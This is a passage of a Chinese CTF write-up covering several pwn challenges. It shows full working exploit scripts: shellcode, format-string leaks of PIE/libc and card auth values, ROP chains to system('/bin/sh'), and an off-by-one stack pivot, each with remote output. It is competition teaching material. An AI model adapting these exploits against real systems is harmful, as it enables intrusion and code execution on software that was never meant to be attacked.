"81c680000000" # add esi, 0x80
"b280" # mov dl, 0x80
"0f05" # syscall
"89c2" # mov edx, eax
"b001" # mov al, 1 ; write
"bf01000000" # mov edi, 1
"89ee" # mov esi, ebp
"81c680000000" # add esi, 0x80
"0f05" # syscall
"31ff" # xor edi, edi
"b03c" # mov al, 60 ; exit
"0f05" # syscall
)
def run_once(shellcode, name):
assert b"\x48" not in shellcode
assert len(shellcode) <= 0x100
io = remote(HOST, PORT)
io.recvuntil(b"size: 0x100\n")
log.info(f"send shellcode for {name}, len={len(shellcode)}")
io.send(shellcode)
data = io.recvall(timeout=3)
io.close()
print(data.decode(errors="ignore"))
m = re.search(rb"ZJPCTF\{[^}]+\}", data)
if m:
log.success(f"FLAG = {m.group(0).decode()}")
return True
return False
if __name__ == "__main__":
if run_once(SC_FLAG, "flag"):
exit(0)
log.warning("relative path flag failed, try /flag")
run_once(SC_ABS_FLAG, "/flag")
Step 2: 远程验证
运行脚本:
python3 exp.py
远程输出:
[+] Opening connection to nc1.ctfplus.cn on port 39596: Done
[*] send shellcode for flag, len=58
[+] Receiving all data: Done (44B)
[*] Closed connection to nc1.ctfplus.cn port 39596
ZJPCTF{501f23f0-1565-4934-82be-a099f752141d}
[+] FLAG = ZJPCTF{501f23f0-1565-4934-82be-a099f752141d}
可以看到相对路径 flag 直接成功,因此无需再尝试 /flag。
Flag
ZJPCTF{501f23f0-1565-4934-82be-a099f752141d}
Dead Letter
Summary
题目是一个栈题,第一次输入存在格式化字符串漏洞,管理员“复述”内容时会直接 printf(buf)。 利用格式化字符串泄露 PIE 和 libc,第二次“封箱”输入存在栈溢出,构造 ROP 调用 system("/bin/sh") 拿 shell 读取 flag。
Solution
Step 1: 泄露 PIE 和 libc
程序第一次读取 draft 后,会由管理员复述内容:
The curator whispers: <user input>
这里存在格式化字符串漏洞,可以通过 %p 泄露栈上的返回地址。
实际调试发现:
%23$p -> PIE 相关返回地址
%25$p -> libc 相关返回地址
对应偏移:
pie_base = leak_23 - 0x1366
libc_base = leak_25 - 0x29f75
第二次输入 Seal the final copy: 时存在栈溢出,偏移为 0x58,可以覆盖返回地址。
完整 exploit 如下:
#!/usr/bin/env python3
from pwn import *
import os
import re
HOST = "nc1.ctfplus.cn"
PORT = 34131
BIN_PATH = os.environ.get("BIN", "./pwn")
LIBC_PATH = os.environ.get("LIBC", "./libc.so.6")
context.binary = elf = ELF(BIN_PATH, checksec=False)
libc = ELF(LIBC_PATH, checksec=False)
context.log_level = "info"
# 格式化字符串泄露:
# %23$p = PIE 中 main/draft 返回地址附近 = pie_base + 0x1366
# %25$p = libc 返回地址附近 = libc_base + 0x29f75
PIE_LEAK_OFF = 0x1366
LIBC_LEAK_OFF = 0x29f75
POP_RDI_OFF = 0x117d
RET_OFF = 0x1016
OFFSET = 0x58
def start():
if args.REMOTE:
return remote(HOST, PORT)
return process([BIN_PATH])
io = start()
def leak():
payload = b"%23$p.%25$p"
io.recvuntil(b"Ink your draft:\n")
io.sendline(payload)
io.recvuntil(b"The curator whispers: ")
line = io.recvline().strip()
log.info(f"leak line = {line}")
m = re.search(rb"(0x[0-9a-fA-F]+)\.(0x[0-9a-fA-F]+)", line)
if not m:
log.failure("failed to parse leak")
exit(1)
pie_leak = int(m.group(1), 16)
libc_leak = int(m.group(2), 16)
pie_base = pie_leak - PIE_LEAK_OFF
libc_base = libc_leak - LIBC_LEAK_OFF
log.success(f"pie leak = {hex(pie_leak)}")
log.success(f"pie base = {hex(pie_base)}")
log.success(f"libc leak = {hex(libc_leak)}")
log.success(f"libc base = {hex(libc_base)}")
return pie_base, libc_base
pie_base, libc_base = leak()
pop_rdi = pie_base + POP_RDI_OFF
ret = pie_base + RET_OFF
system = libc_base + libc.sym["system"]
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
log.success(f"pop rdi = {hex(pop_rdi)}")
log.success(f"ret = {hex(ret)}")
log.success(f"system = {hex(system)}")
log.success(f"/bin/sh = {hex(binsh)}")
payload = flat(
b"A" * OFFSET,
ret, # 栈对齐
pop_rdi,
binsh,
system
)
io.recvuntil(b"Seal the final copy:\n")
io.sendline(payload)
io.sendline(b"cat /flag; cat flag; cat ./flag; ls /")
io.interactive()
Step 2: 远程验证
运行脚本:
python3 exp.py REMOTE
远程泄露结果如下:
[+] Opening connection to nc1.ctfplus.cn on port 34131: Done
[*] leak line = b'0x5629633d7366.0x7fbb93cdbf75'
[+] pie leak = 0x5629633d7366
[+] pie base = 0x5629633d6000
[+] libc leak = 0x7fbb93cdbf75
[+] libc base = 0x7fbb93cb2000
[+] pop rdi = 0x5629633d717d
[+] ret = 0x5629633d7016
[+] system = 0x7fbb93d06790
[+] /bin/sh = 0x7fbb93e5cea4
[*] Switching to interactive mode
成功进入 shell 后读取 flag:
$ cat flag
ZJPCTF{e136f678-4382-4bc2-8381-4bd96b815b09}
Flag
ZJPCTF{e136f678-4382-4bc2-8381-4bd96b815b09}
校园门禁系统
Summary
题目是一个网页上传门禁卡 dump 的 pwn+misc 题。 核心漏洞在 parser 对卡片 note 字段的处理:note 被当作 snprintf 的格式化字符串使用,可以用 %5$s 泄露当前房间的认证 auth,再伪造合法门禁卡逐个房间访问,最终在 Room 5 读到 flag。
Solution
Step 1: 分析卡片 dump 格式
网页入口提供上传接口:
/upload?room=<room_id>
上传内容是门禁卡 dump,后端会调用 parser 校验卡片。 分析 parser 后可以确定关键字段如下:
dump[0x00:0x04] UID
dump[0x04] BCC = UID[0] ^ UID[1] ^ UID[2] ^ UID[3]
dump[0x05:0x0c] Vendor tag,要求为 b"ZJPCTF\x00"
dump[0x40] 房间号
dump[0x41] 卡类型,要求为 1
dump[0x50:0x6f] Note 字段
dump[0x70:0x76] 6 字节 auth
正常情况下,每个房间都有不同的 auth,只有 auth 校验成功才能进入对应房间。 题目提示“猜猜 flag 在哪个房间”,因此需要对多个房间逐一验证。
关键点是 note 字段存在格式化字符串漏洞。 当 note 设置为 %5$s 时,parser 会把当前房间计算出的正确 auth hex 当作字符串打印出来。
完整利用流程:
- 构造一张假卡,
note = "%5$s"; - 上传到指定房间,泄露该房间正确 auth;
- 用泄露出的 auth 重新构造合法卡;
- 上传合法卡进入房间;
- 依次尝试 Room 1 到 Room 9,直到响应中出现
FLAG:。
完整脚本如下:
#!/usr/bin/env python3
import re
import html
import sys
import requests
BASE = (
sys.argv[1].rstrip("/")
if len(sys.argv) > 1
else "http://8080-b1f43f20-a51f-4920-aeda-a11ed4bd79b6.challenge.ctfplus.cn"
)
UID = b"ABCD"
def make_dump(room: int, note: bytes = b"hello", auth: bytes = b"\x00" * 6) -> bytes:
"""
构造 1K M1 dump。
parser 检查点:
- dump 大小必须是 0x400 或 0x1000
- UID BCC 正确
- manufacturer tag 必须是 b"ZJPCTF\\x00"
- dump[0x41] 必须为 1
- dump[0x40] 必须等于当前 room id
- dump[0x50:0x6f] 是 note 字段,存在格式化字符串漏洞
- dump[0x70:0x75] 是 6 字节 auth
"""
data = bytearray(0x400)
# UID + BCC
data[0:4] = UID
data[4] = UID[0] ^ UID[1] ^ UID[2] ^ UID[3]
# manufacturer tag,memcmp 长度为 7,所以要带结尾 0
data[5:12] = b"ZJPCTF\x00"
# 房间号与卡类型
data[0x40] = room & 0xFF
data[0x41] = 1
# note 最多实际显示/使用 31 字节
data[0x50:0x50 + 31] = note[:31].ljust(31, b"\x00")
# auth 6 字节
data[0x70:0x76] = auth[:6].ljust(6, b"\x00")
return bytes(data)
def upload(room: int, dump: bytes) -> str:
url = f"{BASE}/upload?room={room}"
r = requests.post(
url,
files={
"dump": ("card.dump", dump, "application/octet-stream"),
},
timeout=10,
)
text = r.text
# 网页把 parser 输出放在 <pre>...</pre> 里
m = re.search(r"<pre>(.*?)</pre>", text, re.S)
if m:
return html.unescape(m.group(1))
return text
def leak_auth(room: int) -> bytes:
"""
利用 note 字段格式化字符串:
%5$s 会打印 parser 计算出的当前房间 auth hex。
"""
dump = make_dump(room, note=b"%5$s", auth=b"\x00" * 6)
report = upload(room, dump)
m = re.search(r"Note: ([0-9a-fA-F]{12})", report)
if not m:
print(f"[!] room {room} leak failed")
print(report[:800])
raise SystemExit(1)
auth_hex = m.group(1)
print(f"[*] room {room} leaked auth = {auth_hex}")
return bytes.fromhex(auth_hex)
def main():
print(f"[*] target = {BASE}")
for room in range(1, 10):
print(f"\n========== try room {room} ==========")
auth = leak_auth(room)
# 用泄露出的 auth 伪造合法卡
dump = make_dump(room, note=b"hello", auth=auth)
report = upload(room, dump)
print(report)
m = re.search(r"(ZJPCTF\{[^}]+\}|flag\{[^}]+\})", report)
if m:
print(f"\n[+] FLAG = {m.group(1)}")
return
print("\n[-] flag not found in room 1~9")
if __name__ == "__main__":
main()
Step 2: 远程验证
运行脚本:
python3 exp.py
远程输出如下:
[*] target = http://8080-b1f43f20-a51f-4920-aeda-a11ed4bd79b6.challenge.ctfplus.cn
========== try room 1 ==========
[*] room 1 leaked auth = b023995f4d74
=== IC Card Validation Report ===
Room: Room 1
Dump: 1024 bytes
UID : 41424344
Vendor: ZJPCTF
Note: hello
Auth: success
Access granted, but this room has no flag.
========== try room 2 ==========
[*] room 2 leaked auth = d9382df4579d
=== IC Card Validation Report ===
Room: Room 2
Dump: 1024 bytes
UID : 41424344
Vendor: ZJPCTF
Note: hello
Auth: success
Access granted, but this room has no flag.
========== try room 3 ==========
[*] room 3 leaked auth = ca74c9f1a86e
=== IC Card Validation Report ===
Room: Room 3
Dump: 1024 bytes
UID : 41424344
Vendor: ZJPCTF
Note: hello
Auth: success
Access granted, but this room has no flag.
========== try room 4 ==========
[*] room 4 leaked auth = f3895d86b297
=== IC Card Validation Report ===
Room: Room 4
Dump: 1024 bytes
UID : 41424344
Vendor: ZJPCTF
Note: hello
Auth: success
Access granted, but this room has no flag.
========== try room 5 ==========
[*] room 5 leaked auth = 177de392668f
=== IC Card Validation Report ===
Room: Room 5
Dump: 1024 bytes
UID : 41424344
Vendor: ZJPCTF
Note: hello
Auth: success
FLAG: ZJPCTF{e6b8f3ec-fb60-4cd6-92c6-e9b9d93fca62}
[+] FLAG = ZJPCTF{e6b8f3ec-fb60-4cd6-92c6-e9b9d93fca62}
最终确认 flag 在 Room 5。
Flag
ZJPCTF{e6b8f3ec-fb60-4cd6-92c6-e9b9d93fca62}
pivot
Summary
题目是一个典型栈迁移题。程序会泄露第一次输入缓冲区的栈地址,并且第二次输入存在 off-by-one,可以覆盖上一层栈帧 rbp 的最低 1 字节。 利用该字节覆盖把 rbp 改到第一次输入的缓冲区内,触发 leave; ret 后完成 stack pivot,执行 ROP 调用程序内置的 nightly_audit("/bin/sh"),最终读出 flag。
Solution
Step 1: 分析漏洞点
程序启动后会打印一处栈地址:
Claim check: 0x...
该地址是 check_in 中第一次输入缓冲区的地址。 第一次输入可以写入 0x70 字节,正好可以用来布置 fake stack 和 ROP 链。
随后程序进入 tag_editor,第二次输入的栈缓冲区只有 0x20 字节,但程序读取 0x21 字节,因此可以多写 1 字节,覆盖 tag_editor 保存的 rbp 最低字节。该保存的 rbp 实际上会影响上一层 check_in 返回时使用的栈帧。
check_in 结尾执行:
leave
ret
如果把 rbp 的低字节改成第一次输入缓冲区内的某个地址,则:
rsp = fake_rbp
pop rbp
ret
最终控制流会从第一次输入中布置好的 ROP 链继续执行。
需要注意的是:只能覆盖 rbp 最低 1 字节,因此并不是每次远程连接的栈布局都适合 pivot。脚本会自动重连,直到泄露出的缓冲区地址和原 rbp 位于可利用的同一 0x100 对齐块内。
利用目标选择程序内置函数:
nightly_audit = 0x4011fa
该函数内部会调用 system(rdi),比直接跳 system@plt 更稳定。
完整 exploit 如下:
#!/usr/bin/env python3
from pwn import *
import re
context.arch = "amd64"
context.log_level = "info"
HOST = "nc1.ctfplus.cn"
PORT = 46750
POP_RDI = 0x4011f1
NIGHTLY_AUDIT = 0x4011fa # nightly_audit(char *cmd) -> system(cmd)
BUF_SIZE = 0x70
def start():
return remote(HOST, PORT)
def build_payload(buf_addr: int):
old_rbp = buf_addr + 0x70
old_block = old_rbp & ~0xff
# fake rbp + pop rdi + arg + nightly_audit
chain_len = 4 * 8
for off in range(8, BUF_SIZE - chain_len + 1):
pivot_addr = buf_addr + off
# off-by-one 只能改 rbp 最低 1 字节,
# 因此 pivot_addr 必须和 old_rbp 在同一个 0x100 对齐块内。
if (pivot_addr & ~0xff) != old_block:
continue
# 进入 nightly_audit 时保持正常函数入口栈对齐:
# ret 到函数后 rsp % 16 应为 8。
if ((pivot_addr + 0x20) & 0xf) != 8:
continue
log.success(f"buf = {hex(buf_addr)}")
log.success(f"old rbp = {hex(old_rbp)}")
log.success(f"pivot = {hex(pivot_addr)}")
log.success(f"pivot off = {hex(off)}")
log.success(f"rbp byte = {hex(pivot_addr & 0xff)}")
payload = bytearray(b"A" * BUF_SIZE)
# 命令字符串放在第一次输入的 buffer 开头
payload[0:8] = b"/bin/sh\x00"
# check_in leave; ret 后:
# rsp = pivot_addr
# pop rbp -> fake rbp
# ret -> pop rdi; ret
# rdi = buf_addr -> "/bin/sh"
# ret -> nightly_audit -> system("/bin/sh")
rop = flat(
0x0,
POP_RDI,
buf_addr,
NIGHTLY_AUDIT,
word_size=64
)
payload[off:off + len(rop)] = rop
# 第二次输入:0x20 字节填充 + 1 字节覆盖 saved rbp 低字节
tag = b"B" * 0x20 + bytes([pivot_addr & 0xff])
return bytes(payload), tag
return None, None
def exploit_once():
io = start()
io.recvuntil(b"Claim check: ")
line = io.recvline().strip()
m = re.search(rb"0x[0-9a-fA-F]+", line)
if not m:
log.warning(f"failed to parse stack leak: {line}")
io.close()
return False
buf_addr = int(m.group(0), 16)
payload, tag = build_payload(buf_addr)
if payload is None:
log.warning(
f"bad stack layout, reconnect: "
f"buf={hex(buf_addr)}, old_rbp={hex(buf_addr + 0x70)}"
)
io.close()
return False
# 第一次输入:写入 fake stack + ROP
io.send(payload)
# 第二次输入:off-by-one 覆盖 check_in 的 rbp 低字节
io.recvuntil(b"night clerk:\n")
io.send(tag)
# shell 启动后自动读 flag,然后 exit 让连接关闭
io.sendline(b"cat /flag; cat flag; cat ./flag; exit")
data = io.recvall(timeout=3)
print(data.decode(errors="ignore"))
m = re.search(rb"ZJPCTF\{[^}]+\}", data)
if m:
log.success(f"FLAG = {m.group(0).decode()}")
return True
log.warning("no flag this round, retry")
return False
def main():
for i in range(1, 100):
log.info(f"try #{i}")
try:
if exploit_once():
return
except EOFError:
log.warning("EOF, retry")
except Exception as e:
log.warning(f"error: {e}, retry")
log.failure("failed after many retries")
if __name__ == "__main__":
main()
Step 2: 远程验证
运行脚本:
python3 exp.py
由于只覆盖 rbp 低 1 字节,部分连接的栈布局不可用,脚本会自动重试。成功的一次如下:
[*] try #10
[+] Opening connection to nc1.ctfplus.cn on port 46750: Done
[+] buf = 0x7ffcac941ed0
[+] old rbp = 0x7ffcac941f40
[+] pivot = 0x7ffcac941f08
[+] pivot off = 0x38
[+] rbp byte = 0x8
[+] Receiving all data: Done (164B)
[*] Closed connection to nc1.ctfplus.cn port 46750
Stamped. Come back before dawn.
ZJPCTF{c4f57f0f-bba9-40f7-9ff6-4b90ae7c3f53}ZJPCTF{c4f57f0f-bba9-40f7-9ff6-4b90ae7c3f53}ZJPCTF{c4f57f0f-bba9-40f7-9ff6-4b90ae7c3f53}
[+] FLAG = ZJPCTF{c4f57f0f-bba9-40f7-9ff6-4b90ae7c3f53}
Flag
ZJPCTF{c4f57f0f-bba9-40f7-9ff6-4b90ae7c3f53}
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:玄网安全 玄网安全 oPis 玄网安全 oPis《浙江警察学院第九届信息网络安全竞赛决赛-wp》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论